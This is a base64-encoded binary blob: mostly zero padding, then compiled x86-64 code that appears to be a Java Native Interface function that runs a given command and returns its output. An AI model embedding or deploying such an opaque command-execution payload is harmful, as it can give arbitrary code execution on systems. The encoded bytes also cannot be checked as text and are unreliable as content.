AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIHsEAEAAEiLBU4LAABIiwBIiUX4SIm9YP///0iJtVj///9IiZVQ////SIO9UP///wAPhDkBAABIi71g////SIu1UP///0iNlU/////odAkAAEiJhUD///9Ii71A////SI017QkAAOi6CQAASImFOP///0iDvTj///8AD4TrAAAASI29IP///+h/AQAASIuVOP///0iNvXD///++gAAAAOhvCQAASImFCP///+kAAAAASIuFCP///0iD+AAPhEAAAABIjb0g////SI21cP///+hXAQAA6QAAAADprv///0iJwYnQSImNGP///4mFFP///0iNvSD////o4QgAAOllAAAASIu9OP///+gSCQAA6QAAAABIi4Vg////SImF+P7//0iNvSD////oXwEAAEiLvfj+//9IicbohAgAAEiJhQD////pAAAAAEiLhQD///9IiYVo////SI29IP///+h8CAAA6RUAAADpRQAAAOkAAAAASMeFaP///wAAAABIi4Vo////SImF8P7//0iLBcsJAABIiwBIi034SDnID4UkAAAASIuF8P7//0iBxBABAABdw0iLvRj////o/QcAAEiJx+jnAAAA6EQIAAAPC1VIieVIg+wgSIl9+EiJdfBIiVXoSIt9+EiLB0iLgEgFAABIi3XwSItV6P/QSIPEIF3DZmZmZmYuDx+EAAAAAABVSInlSIPsEEiJffhIi3346Js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